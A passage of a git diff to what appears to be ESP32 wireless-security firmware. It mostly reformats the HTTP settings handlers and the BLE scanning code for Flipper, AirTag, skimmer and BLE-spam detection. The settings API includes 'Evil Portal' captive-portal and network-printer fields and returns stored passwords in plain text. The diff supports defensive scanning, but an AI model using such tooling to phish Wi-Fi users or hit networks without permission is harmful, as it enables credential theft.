(clears the log buffer) -static esp_err_t api_clear_logs_handler(httpd_req_t* req) { +static esp_err_t api_clear_logs_handler(httpd_req_t *req) { log_buffer_index = 0; memset(log_buffer, 0, sizeof(log_buffer)); httpd_resp_set_type(req, "application/json"); @@ -1138,11 +1003,11 @@ static esp_err_t api_clear_logs_handler(httpd_req_t* req) { } // Handler for /api/settings (updates settings based on JSON payload) -static esp_err_t api_settings_handler(httpd_req_t* req) { +static esp_err_t api_settings_handler(httpd_req_t *req) { int total_len = req->content_len; int cur_len = 0; int received = 0; - char* buf = malloc(total_len + 1); + char *buf = malloc(total_len + 1); if (!buf) { printf("Failed to allocate memory for JSON payload\n"); return ESP_FAIL; @@ -1160,7 +1025,7 @@ static esp_err_t api_settings_handler(httpd_req_t* req) { buf[total_len] = '\0'; // Null-terminate the received data // Parse JSON - cJSON* root = cJSON_Parse(buf); + cJSON *root = cJSON_Parse(buf); free(buf); if (!root) { printf("Failed to parse JSON\n"); @@ -1168,25 +1033,25 @@ static esp_err_t api_settings_handler(httpd_req_t* req) { } // Update settings - FSettings* settings = &G_Settings; + FSettings *settings = &G_Settings; // Core settings - cJSON* broadcast_speed = cJSON_GetObjectItem(root, "broadcast_speed"); + cJSON *broadcast_speed = cJSON_GetObjectItem(root, "broadcast_speed"); if (broadcast_speed) { settings_set_broadcast_speed(settings, broadcast_speed->valueint); } - cJSON* ap_ssid = cJSON_GetObjectItem(root, "ap_ssid"); + cJSON *ap_ssid = cJSON_GetObjectItem(root, "ap_ssid"); if (ap_ssid) { settings_set_ap_ssid(settings, ap_ssid->valuestring); } - cJSON* ap_password = cJSON_GetObjectItem(root, "ap_password"); + cJSON *ap_password = cJSON_GetObjectItem(root, "ap_password"); if (ap_password) { settings_set_ap_password(settings, ap_password->valuestring); } - cJSON* rgb_mode = cJSON_GetObjectItem(root, "rainbow_mode"); + cJSON *rgb_mode = cJSON_GetObjectItem(root, "rainbow_mode"); if (cJSON_IsBool(rgb_mode)) { bool rgb_mode_value = cJSON_IsTrue(rgb_mode); printf("Debug: Passed rgb_mode_value = %d to settings_set_rgb_mode()\n", rgb_mode_value); @@ -1195,92 +1060,97 @@ static esp_err_t api_settings_handler(httpd_req_t* req) { printf("Error: 'rgb_mode' is not a boolean.\n"); } - cJSON* rgb_speed = cJSON_GetObjectItem(root, "rgb_speed"); + cJSON *rgb_speed = cJSON_GetObjectItem(root, "rgb_speed"); if (rgb_speed) { settings_set_rgb_speed(settings, rgb_speed->valueint); } - cJSON* channel_delay = cJSON_GetObjectItem(root, "channel_delay"); + cJSON *channel_delay = cJSON_GetObjectItem(root, "channel_delay"); if (channel_delay) { settings_set_channel_delay(settings, (float)channel_delay->valuedouble); } // Evil Portal settings - cJSON* portal_url = cJSON_GetObjectItem(root, "portal_url"); + cJSON *portal_url = cJSON_GetObjectItem(root, "portal_url"); if (portal_url) { settings_set_portal_url(settings, portal_url->valuestring); } - cJSON* portal_ssid = cJSON_GetObjectItem(root, "portal_ssid"); + cJSON *portal_ssid = cJSON_GetObjectItem(root, "portal_ssid"); if (portal_ssid) { settings_set_portal_ssid(settings, portal_ssid->valuestring); } - cJSON* portal_password = cJSON_GetObjectItem(root, "portal_password"); + cJSON *portal_password = cJSON_GetObjectItem(root, "portal_password"); if (portal_password) { settings_set_portal_password(settings, portal_password->valuestring); } - cJSON* portal_ap_ssid = cJSON_GetObjectItem(root, "portal_ap_ssid"); + cJSON *portal_ap_ssid = cJSON_GetObjectItem(root, "portal_ap_ssid"); if (portal_ap_ssid) { settings_set_portal_ap_ssid(settings, portal_ap_ssid->valuestring); } - cJSON* portal_domain = cJSON_GetObjectItem(root, "portal_domain"); + cJSON *portal_domain = cJSON_GetObjectItem(root, "portal_domain"); if (portal_domain) { settings_set_portal_domain(settings, portal_domain->valuestring); } - cJSON* portal_offline_mode = cJSON_GetObjectItem(root, "portal_offline_mode"); + cJSON *portal_offline_mode = cJSON_GetObjectItem(root, "portal_offline_mode"); if (portal_offline_mode) { settings_set_portal_offline_mode(settings, portal_offline_mode->valueint != 0); } // Power Printer settings - cJSON* printer_ip = cJSON_GetObjectItem(root, "printer_ip"); + cJSON *printer_ip = cJSON_GetObjectItem(root, "printer_ip"); if (printer_ip) { settings_set_printer_ip(settings, printer_ip->valuestring); } - cJSON* printer_text = cJSON_GetObjectItem(root, "printer_text"); + cJSON *printer_text = cJSON_GetObjectItem(root, "printer_text"); if (printer_text) { settings_set_printer_text(settings, printer_text->valuestring); } - cJSON* printer_font_size = cJSON_GetObjectItem(root, "printer_font_size"); + cJSON *printer_font_size = cJSON_GetObjectItem(root, "printer_font_size"); if (printer_font_size) { printf("PRINTER FONT SIZE %i", printer_font_size->valueint); settings_set_printer_font_size(settings, printer_font_size->valueint); } - cJSON* printer_alignment = cJSON_GetObjectItem(root, "printer_alignment"); + cJSON *printer_alignment = cJSON_GetObjectItem(root, "printer_alignment"); if (printer_alignment) { printf("printer_alignment %i", printer_alignment->valueint); settings_set_printer_alignment(settings, (PrinterAlignment)printer_alignment->valueint); } - cJSON* flappy_ghost_name = cJSON_GetObjectItem(root, "flappy_ghost_name"); + cJSON *flappy_ghost_name = cJSON_GetObjectItem(root, "flappy_ghost_name"); if (flappy_ghost_name) { settings_set_flappy_ghost_name(settings, flappy_ghost_name->valuestring); } - cJSON* time_zone_str_name = cJSON_GetObjectItem(root, "timezone_str"); + cJSON *time_zone_str_name = cJSON_GetObjectItem(root, "timezone_str"); if (time_zone_str_name) { settings_set_timezone_str(settings, time_zone_str_name->valuestring); } - cJSON* hex_accent_color_str = cJSON_GetObjectItem(root, "hex_accent_color"); + cJSON *hex_accent_color_str = cJSON_GetObjectItem(root, "hex_accent_color"); if (hex_accent_color_str) { settings_set_accent_color_str(settings, hex_accent_color_str->valuestring); } - cJSON* gps_rx_pin = cJSON_GetObjectItem(root, "gps_rx_pin"); + cJSON *rts_enabled_bool = cJSON_GetObjectItem(root, "rts_enabled"); + if (rts_enabled_bool) { + settings_set_rts_enabled(settings, rts_enabled_bool->valueint != 0); + } + + cJSON *gps_rx_pin = cJSON_GetObjectItem(root, "gps_rx_pin"); if (gps_rx_pin) { settings_set_gps_rx_pin(settings, gps_rx_pin->valueint); } // Handle display timeout - cJSON* display_timeout = cJSON_GetObjectItem(root, "display_timeout"); + cJSON *display_timeout = cJSON_GetObjectItem(root, "display_timeout"); if (display_timeout) { settings_set_display_timeout(settings, display_timeout->valueint); ESP_LOGI(TAG, "Setting display timeout to: %d ms", display_timeout->valueint); @@ -1297,17 +1167,15 @@ static esp_err_t api_settings_handler(httpd_req_t* req) { return ESP_OK; } +static esp_err_t api_settings_get_handler(httpd_req_t *req) { + FSettings *settings = &G_Settings; -static esp_err_t api_settings_get_handler(httpd_req_t* req) { - FSettings* settings = &G_Settings; - - cJSON* root = cJSON_CreateObject(); + cJSON *root = cJSON_CreateObject(); if (!root) { printf("Failed to create JSON object\n"); return ESP_FAIL; } - cJSON_AddNumberToObject(root, "broadcast_speed", settings_get_broadcast_speed(settings)); cJSON_AddStringToObject(root, "ap_ssid", settings_get_ap_ssid(settings)); cJSON_AddStringToObject(root, "ap_password", settings_get_ap_password(settings)); @@ -1315,7 +1183,6 @@ static esp_err_t api_settings_get_handler(httpd_req_t* req) { cJSON_AddNumberToObject(root, "rgb_speed", settings_get_rgb_speed(settings)); cJSON_AddNumberToObject(root, "channel_delay", settings_get_channel_delay(settings)); - cJSON_AddStringToObject(root, "portal_url", settings_get_portal_url(settings)); cJSON_AddStringToObject(root, "portal_ssid", settings_get_portal_ssid(settings)); cJSON_AddStringToObject(root, "portal_password", settings_get_portal_password(settings)); @@ -1323,7 +1190,6 @@ static esp_err_t api_settings_get_handler(httpd_req_t* req) { cJSON_AddStringToObject(root, "portal_domain", settings_get_portal_domain(settings)); cJSON_AddBoolToObject(root, "portal_offline_mode", settings_get_portal_offline_mode(settings)); - cJSON_AddStringToObject(root, "printer_ip", settings_get_printer_ip(settings)); cJSON_AddStringToObject(root, "printer_text", settings_get_printer_text(settings)); cJSON_AddNumberToObject(root, "printer_font_size", settings_get_printer_font_size(settings)); @@ -1332,9 +1198,10 @@ static esp_err_t api_settings_get_handler(httpd_req_t* req) { cJSON_AddStringToObject(root, "timezone_str", settings_get_timezone_str(settings)); cJSON_AddNumberToObject(root, "gps_rx_pin", settings_get_gps_rx_pin(settings)); cJSON_AddNumberToObject(root, "display_timeout", settings_get_display_timeout(settings)); - + cJSON_AddNumberToObject(root, "rts_enabled_bool", settings_get_rts_enabled(settings)); + esp_netif_ip_info_t ip_info; - esp_netif_t* netif = esp_netif_get_handle_from_ifkey("WIFI_STA_DEF"); + esp_netif_t *netif = esp_netif_get_handle_from_ifkey("WIFI_STA_DEF"); if (netif && esp_netif_get_ip_info(netif, &ip_info) == ESP_OK) { if (ip_info.ip.addr != 0) { char ip_str[16]; @@ -1343,62 +1210,58 @@ static esp_err_t api_settings_get_handler(httpd_req_t* req) { } } - - const char* json_response = cJSON_Print(root); + const char *json_response = cJSON_Print(root); if (!json_response) { cJSON_Delete(root); printf("Failed to print JSON object\n"); return ESP_FAIL; } - httpd_resp_set_type(req, "application/json"); httpd_resp_sendstr(req, json_response); - cJSON_Delete(root); - free((void*)json_response); + free((void *)json_response); return ESP_OK; } - // Event handler for Wi-Fi events -static void event_handler(void* arg, esp_event_base_t event_base, - int32_t event_id, void* event_data) { +static void event_handler(void *arg, esp_event_base_t event_base, int32_t event_id, + void *event_data) { if (event_base == WIFI_EVENT) { switch (event_id) { - case WIFI_EVENT_AP_START: - printf("AP started\n"); - break; - case WIFI_EVENT_AP_STOP: - printf("AP stopped\n"); - break; - case WIFI_EVENT_AP_STACONNECTED: - printf("Station connected to AP\n"); - break; - case WIFI_EVENT_AP_STADISCONNECTED: - printf("Station disconnected from AP\n"); - break; - case WIFI_EVENT_STA_START: - printf("STA started\n"); - esp_wifi_connect(); - break; - case WIFI_EVENT_STA_DISCONNECTED: - printf("Disconnected from Wi-Fi\n"); - break; - default: - break; + case WIFI_EVENT_AP_START: + printf("AP started\n"); + break; + case WIFI_EVENT_AP_STOP: + printf("AP stopped\n"); + break; + case WIFI_EVENT_AP_STACONNECTED: + printf("Station connected to AP\n"); + break; + case WIFI_EVENT_AP_STADISCONNECTED: + printf("Station disconnected from AP\n"); + break; + case WIFI_EVENT_STA_START: + printf("STA started\n"); + esp_wifi_connect(); + break; + case WIFI_EVENT_STA_DISCONNECTED: + printf("Disconnected from Wi-Fi\n"); + break; + default: + break; } } else if (event_base == IP_EVENT) { switch (event_id) { - case IP_EVENT_STA_GOT_IP: - break; - case IP_EVENT_AP_STAIPASSIGNED: - printf("Assigned IP to STA\n"); - break; - default: - break; + case IP_EVENT_STA_GOT_IP: + break; + case IP_EVENT_AP_STAIPASSIGNED: + printf("Assigned IP to STA\n"); + break; + default: + break; } } } \ No newline at end of file diff --git a/main/managers/ble_manager.c b/main/managers/ble_manager.c index 0ee25f95..4d85d5b0 100644 --- a/main/managers/ble_manager.c +++ b/main/managers/ble_manager.c @@ -1,23 +1,23 @@ -#include -#include -#include #include "esp_log.h" #include "nvs_flash.h" +#include +#include +#include #ifndef CONFIG_IDF_TARGET_ESP32S2 -#include "nimble/ble.h" +#include "core/callbacks.h" +#include "esp_random.h" +#include "host/ble_gap.h" #include "host/ble_hs.h" +#include "host/util/util.h" +#include "managers/ble_manager.h" +#include "managers/views/terminal_screen.h" +#include "nimble/ble.h" #include "nimble/nimble_port.h" #include "nimble/nimble_port_freertos.h" -#include "host/ble_gap.h" -#include "managers/ble_manager.h" -#include "esp_random.h" +#include "vendor/pcap.h" #include #include #include -#include "managers/views/terminal_screen.h" -#include "vendor/pcap.h" -#include "core/callbacks.h" - #define MAX_DEVICES 30 #define MAX_HANDLERS 10 @@ -32,12 +32,11 @@ typedef struct { ble_data_handler_t handler; } ble_handler_t; - static ble_handler_t *handlers = NULL; static int handler_count = 0; static int spam_counter = 0; static uint16_t *last_company_id = NULL; -static TickType_t last_detection_time = 0; +static TickType_t last_detection_time = 0; static void ble_pcap_callback(struct ble_gap_event *event, size_t len); static void notify_handlers(struct ble_gap_event *event, int len) { @@ -53,9 +52,7 @@ void nimble_host_task(void *param) { nimble_port_freertos_deinit(); } -static int8_t generate_random_rssi() { - return (esp_random() % 121) - 100; -} +static int8_t generate_random_rssi() { return (esp_random() % 121) - 100; } static void generate_random_name(char *name, size_t max_len) { static const char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; @@ -78,20 +75,17 @@ static void generate_random_mac(uint8_t *mac_addr) { void stop_ble_stack() { int rc; - rc = ble_gap_adv_stop(); if (rc != 0) { - ESP_LOGE(TAG_BLE, "Error stopping advertisement; rc=%d", rc); + ESP_LOGE(TAG_BLE, "Error stopping advertisement"); } - rc = nimble_port_stop(); if (rc != 0) { - ESP_LOGE(TAG_BLE, "Error stopping NimBLE port; rc=%d", rc); + ESP_LOGE(TAG_BLE, "Error stopping NimBLE port"); return; } - nimble_port_deinit(); ESP_LOGI(TAG_BLE, "NimBLE stack and task deinitialized."); @@ -123,23 +117,23 @@ static bool extract_company_id(const uint8_t *payload, size_t length, uint16_t * void ble_stop_skimmer_detection(void) { ESP_LOGI("BLE", "Stopping skimmer detection scan..."); TERMINAL_VIEW_ADD_TEXT("Stopping skimmer detection scan...\n"); - + // Unregister the skimmer detection callback ble_unregister_handler(ble_skimmer_scan_callback); pcap_flush_buffer_to_file(); // Final flush - pcap_file_close(); // Close the file after final flush - + pcap_file_close(); // Close the file after final flush + int rc = ble_gap_disc_cancel(); if (rc == 0) { printf("BLE skimmer detection stopped successfully.\n"); TERMINAL_VIEW_ADD_TEXT("BLE skimmer detection stopped successfully.\n"); } else if (rc == BLE_HS_EALREADY) { - printf("BLE scanning was not active.\n"); - TERMINAL_VIEW_ADD_TEXT("BLE scanning was not active.\n"); + printf("BLE scanning wasn't active.\n"); + TERMINAL_VIEW_ADD_TEXT("BLE scanning wasn't active.\n"); } else { - printf("Failed to stop BLE scanning; rc=%d\n", rc); - TERMINAL_VIEW_ADD_TEXT("Failed to stop BLE scanning; rc=%d\n", rc); + printf("Failed to stop BLE scanning\n"); + TERMINAL_VIEW_ADD_TEXT("Failed to stop BLE scanning\n"); } } @@ -153,21 +147,19 @@ static void parse_device_name(const uint8_t *data, uint8_t data_len, char *name, } uint8_t type = data[index + 1]; - if (type == BLE_HS_ADV_TYPE_COMP_NAME) { int name_len = length - 1; if (name_len > name_size - 1) { name_len = name_size - 1; } strncpy(name, (const char *)&data[index + 2], name_len); - name[name_len] = '\0'; + name[name_len] = '\0'; return; } - index += length + 1; + index += length + 1; } - strncpy(name, "Unknown", name_size); } @@ -182,7 +174,8 @@ static void parse_service_uuids(const uint8_t *data, uint8_t data_len, ble_servi uint8_t type = data[index + 1]; // Check for 16-bit UUIDs - if ((type == BLE_HS_ADV_TYPE_COMP_UUIDS16 || type == BLE_HS_ADV_TYPE_INCOMP_UUIDS16) && uuids->uuid16_count < MAX_UUID16) { + if ((type == BLE_HS_ADV_TYPE_COMP_UUIDS16 || type == BLE_HS_ADV_TYPE_INCOMP_UUIDS16) && + uuids->uuid16_count < MAX_UUID16) { for (int i = 0; i < length - 1; i += 2) { uint16_t uuid16 = data[index + 2 + i] | (data[index + 3 + i] << 8); uuids->uuid16[uuids->uuid16_count++] = uuid16; @@ -190,17 +183,23 @@ static void parse_service_uuids(const uint8_t *data, uint8_t data_len, ble_servi } // Check for 32-bit UUIDs - else if ((type == BLE_HS_ADV_TYPE_COMP_UUIDS32 || type == BLE_HS_ADV_TYPE_INCOMP_UUIDS32) && uuids->uuid32_count < MAX_UUID32) { + else if ((type == BLE_HS_ADV_TYPE_COMP_UUIDS32 || type == BLE_HS_ADV_TYPE_INCOMP_UUIDS32) && + uuids->uuid32_count < MAX_UUID32) { for (int i = 0; i < length - 1; i += 4) { - uint32_t uuid32 = data[index + 2 + i] | (data[index + 3 + i] << 8) | (data[index + 4 + i] << 16) | (data[index + 5 + i] << 24); + uint32_t uuid32 = data[index + 2 + i] | (data[index + 3 + i] << 8) | + (data[index + 4 + i] << 16) | (data[index + 5 + i] << 24); uuids->uuid32[uuids->uuid32_count++] = uuid32; } } // Check for 128-bit UUIDs - else if ((type == BLE_HS_ADV_TYPE_COMP_UUIDS128 || type == BLE_HS_ADV_TYPE_INCOMP_UUIDS128) && uuids->uuid128_count < MAX_UUID128) { - snprintf(uuids->uuid128[uuids->uuid128_count], sizeof(uuids->uuid128[uuids->uuid128_count]), - "%02x%02x%02x%02x-%02x%02x-%02x%02x-%02x%02x-%02x%02x%02x%02x%02x%02x", + else if ((type == BLE_HS_ADV_TYPE_COMP_UUIDS128 || + type == BLE_HS_ADV_TYPE_INCOMP_UUIDS128) && + uuids->uuid128_count < MAX_UUID128) { + snprintf(uuids->uuid128[uuids->uuid128_count], + sizeof(uuids->uuid128[uuids->uuid128_count]), + "%02x%02x%02x%02x-%02x%02x-%02x%02x-%02x%02x-%02x%02x%02x%02x%" + "02x%02x", data[index + 17], data[index + 16], data[index + 15], data[index + 14], data[index + 13], data[index + 12], data[index + 11], data[index + 10], data[index + 9], data[index + 8], data[index + 7], data[index + 6], @@ -212,105 +211,117 @@ static void parse_service_uuids(const uint8_t *data, uint8_t data_len, ble_servi } } - static int ble_gap_event_general(struct ble_gap_event *event, void *arg) { switch (event->type) { - case BLE_GAP_EVENT_DISC: - notify_handlers(event, event->disc.length_data); + case BLE_GAP_EVENT_DISC: + notify_handlers(event, event->disc.length_data); - break; + break; - default: - break; + default: + break; } return 0; } - void ble_findtheflippers_callback(struct ble_gap_event *event, size_t len) { int advertisementRssi = event->disc.rssi; - char advertisementMac[18]; snprintf(advertisementMac, sizeof(advertisementMac), "%02x:%02x:%02x:%02x:%02x:%02x", event->disc.addr.val[0], event->disc.addr.val[1], event->disc.addr.val[2], event->disc.addr.val[3], event->disc.addr.val[4], event->disc.addr.val[5]); - char advertisementName[32]; - parse_device_name(event->disc.data, event->disc.length_data, advertisementName, sizeof(advertisementName)); - + parse_device_name(event->disc.data, event->disc.length_data, advertisementName, + sizeof(advertisementName)); ble_service_uuids_t uuids = {0}; parse_service_uuids(event->disc.data, event->disc.length_data, &uuids); for (int i = 0; i < uuids.uuid16_count; i++) { if (uuids.uuid16[i] == 0x3082) { - printf("Found White Flipper Device: \nMAC: %s, \nName: %s, \nRSSI: %d\n", - advertisementMac, advertisementName, advertisementRssi); - TERMINAL_VIEW_ADD_TEXT("Found White Flipper Device (128-bit UUID): \nMAC: %s, \nName: %s, \nRSSI: %d\n", - advertisementMac, advertisementName, advertisementRssi); + printf("Found White Flipper Device: \nMAC: %s, \nName: %s, \nRSSI: %d\n", + advertisementMac, advertisementName, advertisementRssi); + TERMINAL_VIEW_ADD_TEXT("Found White Flipper Device (128-bit UUID): " + "\nMAC: %s, \nName: %s, \nRSSI: %d\n", + advertisementMac, advertisementName, advertisementRssi); pulse_once(&rgb_manager, 255, 165, 0); } if (uuids.uuid16[i] == 0x3081) { - printf("Found Black Flipper Device: \nMAC: %s, \nName: %s, \nRSSI: %d\n", - advertisementMac, advertisementName, advertisementRssi); - TERMINAL_VIEW_ADD_TEXT("Found Black Flipper Device (128-bit UUID): \nMAC: %s, \nName: %s, \nRSSI: %d\n", - advertisementMac, advertisementName, advertisementRssi); + printf("Found Black Flipper Device: \nMAC: %s, \nName: %s, \nRSSI: %d\n", + advertisementMac, advertisementName, advertisementRssi); + TERMINAL_VIEW_ADD_TEXT("Found Black Flipper Device (128-bit UUID): " + "\nMAC: %s, \nName: %s, \nRSSI: %d\n", + advertisementMac, advertisementName, advertisementRssi); pulse_once(&rgb_manager, 255, 165, 0); } if (uuids.uuid16[i] == 0x3083) { - printf("Found Transparent Flipper Device: \nMAC: %s, \nName: %s, \nRSSI: %d\n", - advertisementMac, advertisementName, advertisementRssi); - TERMINAL_VIEW_ADD_TEXT("Found Transparent Flipper Device (128-bit UUID): \nMAC: %s, \nName: %s, \nRSSI: %d\n", - advertisementMac, advertisementName, advertisementRssi); + printf("Found Transparent Flipper Device: \nMAC: %s, \nName: %s, \nRSSI: " + "%d\n", + advertisementMac, advertisementName, advertisementRssi); + TERMINAL_VIEW_ADD_TEXT("Found Transparent Flipper Device (128-bit UUID): " + "\nMAC: %s, \nName: %s, \nRSSI: %d\n", + advertisementMac, advertisementName, advertisementRssi); pulse_once(&rgb_manager, 255, 165, 0); } } for (int i = 0; i < uuids.uuid32_count; i++) { if (uuids.uuid32[i] == 0x3082) { - printf("Found White Flipper Device (32-bit UUID): \nMAC: %s, \nName: %s, \nRSSI: %d\n", - advertisementMac, advertisementName, advertisementRssi); - TERMINAL_VIEW_ADD_TEXT("Found White Flipper Device (128-bit UUID): \nMAC: %s, \nName: %s, \nRSSI: %d\n", - advertisementMac, advertisementName, advertisementRssi); + printf("Found White Flipper Device (32-bit UUID): \nMAC: %s, \nName: %s, " + "\nRSSI: %d\n", + advertisementMac, advertisementName, advertisementRssi); + TERMINAL_VIEW_ADD_TEXT("Found White Flipper Device (128-bit UUID): " + "\nMAC: %s, \nName: %s, \nRSSI: %d\n", + advertisementMac, advertisementName, advertisementRssi); pulse_once(&rgb_manager, 255, 165, 0); } if (uuids.uuid32[i] == 0x3081) { - printf("Found Black Flipper Device (32-bit UUID): \nMAC: %s, \nName: %s, \nRSSI: %d\n", - advertisementMac, advertisementName, advertisementRssi); - TERMINAL_VIEW_ADD_TEXT("Found Black Flipper Device (128-bit UUID): \nMAC: %s, \nName: %s, \nRSSI: %d\n", - advertisementMac, advertisementName, advertisementRssi); + printf("Found Black Flipper Device (32-bit UUID): \nMAC: %s, \nName: %s, " + "\nRSSI: %d\n", + advertisementMac, advertisementName, advertisementRssi); + TERMINAL_VIEW_ADD_TEXT("Found Black Flipper Device (128-bit UUID): " + "\nMAC: %s, \nName: %s, \nRSSI: %d\n", + advertisementMac, advertisementName, advertisementRssi); pulse_once(&rgb_manager, 255, 165, 0); } if (uuids.uuid32[i] == 0x3083) { - printf("Found Transparent Flipper Device (32-bit UUID): \nMAC: %s, \nName: %s, \nRSSI: %d\n", - advertisementMac, advertisementName, advertisementRssi); - TERMINAL_VIEW_ADD_TEXT("Found Transparent Flipper Device (128-bit UUID): \nMAC: %s, \nName: %s, \nRSSI: %d\n", - advertisementMac, advertisementName, advertisementRssi); + printf("Found Transparent Flipper Device (32-bit UUID): \nMAC: %s, " + "\nName: %s, \nRSSI: %d\n", + advertisementMac, advertisementName, advertisementRssi); + TERMINAL_VIEW_ADD_TEXT("Found Transparent Flipper Device (128-bit UUID): " + "\nMAC: %s, \nName: %s, \nRSSI: %d\n", + advertisementMac, advertisementName, advertisementRssi); pulse_once(&rgb_manager, 255, 165, 0); } } for (int i = 0; i < uuids.uuid128_count; i++) { if (strstr(uuids.uuid128[i], "3082") != NULL) { - printf("Found White Flipper Device (128-bit UUID): \nMAC: %s, \nName: %s, \nRSSI: %d\n", - advertisementMac, advertisementName, advertisementRssi); - TERMINAL_VIEW_ADD_TEXT("Found White Flipper Device (128-bit UUID): \nMAC: %s, \nName: %s, \nRSSI: %d\n", - advertisementMac, advertisementName, advertisementRssi); + printf("Found White Flipper Device (128-bit UUID): \nMAC: %s, \nName: " + "%s, \nRSSI: %d\n", + advertisementMac, advertisementName, advertisementRssi); + TERMINAL_VIEW_ADD_TEXT("Found White Flipper Device (128-bit UUID): " + "\nMAC: %s, \nName: %s, \nRSSI: %d\n", + advertisementMac, advertisementName, advertisementRssi); pulse_once(&rgb_manager, 255, 165, 0); } if (strstr(uuids.uuid128[i], "3081") != NULL) { - printf("Found Black Flipper Device (128-bit UUID): \nMAC: %s, \nName: %s, \nRSSI: %d\n", - advertisementMac, advertisementName, advertisementRssi); - TERMINAL_VIEW_ADD_TEXT("Found Black Flipper Device (128-bit UUID): \nMAC: %s, \nName: %s, \nRSSI: %d\n", - advertisementMac, advertisementName, advertisementRssi); + printf("Found Black Flipper Device (128-bit UUID): \nMAC: %s, \nName: " + "%s, \nRSSI: %d\n", + advertisementMac, advertisementName, advertisementRssi); + TERMINAL_VIEW_ADD_TEXT("Found Black Flipper Device (128-bit UUID): " + "\nMAC: %s, \nName: %s, \nRSSI: %d\n", + advertisementMac, advertisementName, advertisementRssi); pulse_once(&rgb_manager, 255, 165, 0); } if (strstr(uuids.uuid128[i], "3083") != NULL) { - printf("Found Transparent Flipper Device (128-bit UUID): \nMAC: %s, \nName: %s, \nRSSI: %d\n", - advertisementMac, advertisementName, advertisementRssi); - TERMINAL_VIEW_ADD_TEXT("Found Transparent Flipper Device (128-bit UUID): \nMAC: %s, \nName: %s, \nRSSI: %d\n", - advertisementMac, advertisementName, advertisementRssi); + printf("Found Transparent Flipper Device (128-bit UUID): \nMAC: %s, " + "\nName: %s, \nRSSI: %d\n", + advertisementMac, advertisementName, advertisementRssi); + TERMINAL_VIEW_ADD_TEXT("Found Transparent Flipper Device (128-bit UUID): " + "\nMAC: %s, \nName: %s, \nRSSI: %d\n", + advertisementMac, advertisementName, advertisementRssi); pulse_once(&rgb_manager, 255, 165, 0); } } @@ -326,12 +337,15 @@ void ble_print_raw_packet_callback(struct ble_gap_event *event, size_t len) { // stop logging raw advertisement data // - // printf("Received BLE Advertisement from MAC: %s, RSSI: %d\n", advertisementMac, advertisementRssi); - // TERMINAL_VIEW_ADD_TEXT("Received BLE Advertisement from MAC: %s, RSSI: %d\n", advertisementMac, advertisementRssi); - + // printf("Received BLE Advertisement from MAC: %s, RSSI: %d\n", + // advertisementMac, advertisementRssi); TERMINAL_VIEW_ADD_TEXT("Received BLE + // Advertisement from MAC: %s, RSSI: %d\n", advertisementMac, + // advertisementRssi); + // printf("Raw Advertisement Data (len=%zu): ", event->disc.length_data); - // TERMINAL_VIEW_ADD_TEXT("Raw Advertisement Data (len=%zu): ", event->disc.length_data); - // for (size_t i = 0; i < event->disc.length_data; i++) { + // TERMINAL_VIEW_ADD_TEXT("Raw Advertisement Data (len=%zu): ", + // event->disc.length_data); for (size_t i = 0; i < event->disc.length_data; + // i++) { // printf("%02x ", event->disc.data[i]); // } // printf("\n"); @@ -345,10 +359,9 @@ void detect_ble_spam_callback(struct ble_gap_event *event, size_t length) { TickType_t current_time = xTaskGetTickCount(); TickType_t time_elapsed = current_time - last_detection_time; - uint16_t current_company_id; if (!extract_company_id(event->disc.data, length, ¤t_company_id)) { - return; + return; } if (time_elapsed > pdMS_TO_TICKS(TIME_WINDOW_MS)) { @@ -357,11 +370,12 @@ void detect_ble_spam_callback(struct ble_gap_event *event, size_t length) { if (last_company_id != NULL && *last_company_id == current_company_id) { spam_counter++; - + if (spam_counter > MAX_PAYLOADS) { ESP_LOGW(TAG_BLE, "BLE Spam detected! Company ID: 0x%04X", current_company_id); TERMINAL_VIEW_ADD_TEXT("BLE Spam detected! Company ID: 0x%04X\n", current_company_id); - rgb_manager_set_color(&rgb_manager, 0, 255, 0, 0, true); + // pulse rgb purple once when spam is detected + pulse_once(&rgb_manager, 128, 0, 128); spam_counter = 0; } } else { @@ -371,18 +385,17 @@ void detect_ble_spam_callback(struct ble_gap_event *event, size_t length) { if (last_company_id != NULL) { *last_company_id = current_company_id; - spam_counter = 1; + spam_counter = 1; } } last_detection_time = current_time; } - void airtag_scanner_callback(struct ble_gap_event *event, size_t len) { if (event->type == BLE_GAP_EVENT_DISC) { if (!event->disc.data || event->disc.length_data < 4) { - return; + return; } const uint8_t *payload = event->disc.data; @@ -390,14 +403,19 @@ void airtag_scanner_callback(struct ble_gap_event *event, size_t len) { bool patternFound = false; for (size_t i = 0; i <= payloadLength - 4; i++) { - if ((payload[i] == 0x1E && payload[i + 1] == 0xFF && payload[i + 2] == 0x4C && payload[i + 3] == 0x00) || - (payload[i] == 0x4C && payload[i + 1] == 0x00 && payload[i + 2] == 0x12 && payload[i + 3] == 0x19)) { + if ((payload[i] == 0x1E && payload[i + 1] == 0xFF && payload[i + 2] == 0x4C && + payload[i + 3] == 0x00) || + (payload[i] == 0x4C && payload[i + 1] == 0x00 && payload[i + 2] == 0x12 && + payload[i + 3] == 0x19)) { patternFound = true; break; } } if (patternFound) { + // pulse rgb blue once when air tag is found + pulse_once(&rgb_manager, 0, 0, 255); + char macAddress[18]; snprintf(macAddress, sizeof(macAddress), "%02x:%02x:%02x:%02x:%02x:%02x", event->disc.addr.val[0], event->disc.addr.val[1], event->disc.addr.val[2], @@ -425,31 +443,63 @@ void airtag_scanner_callback(struct ble_gap_event *event, size_t len) { } } +static bool wait_for_ble_ready(void) { + int rc; + int retry_count = 0; + const int max_retries = 50; // 5 seconds total timeout + + while (!ble_hs_synced() && retry_count < max_retries) { + vTaskDelay(pdMS_TO_TICKS(100)); // Wait for 100ms + retry_count++; + } + + if (retry_count >= max_retries) { + ESP_LOGE(TAG_BLE, "Timeout waiting for BLE stack sync"); + return false; + } + + uint8_t own_addr_type; + rc = ble_hs_id_infer_auto(0, &own_addr_type); + if (rc != 0) { + ESP_LOGE(TAG_BLE, "Failed to set BLE address"); + return false; + } + + return true; +} + void ble_start_scanning(void) { - if (!ble_initialized) - { + if (!ble_initialized) { ble_init(); } + + if (!wait_for_ble_ready()) { + ESP_LOGE(TAG_BLE, "BLE stack not ready"); + TERMINAL_VIEW_ADD_TEXT("BLE stack not ready\n"); + return; + } + struct ble_gap_disc_params disc_params = {0}; disc_params.itvl = BLE_HCI_SCAN_ITVL_DEF; disc_params.window = BLE_HCI_SCAN_WINDOW_DEF; disc_params.filter_duplicates = 1; // Start a new BLE scan - int rc = ble_gap_disc(BLE_OWN_ADDR_PUBLIC, BLE_HS_FOREVER, &disc_params, ble_gap_event_general, NULL); + int rc = 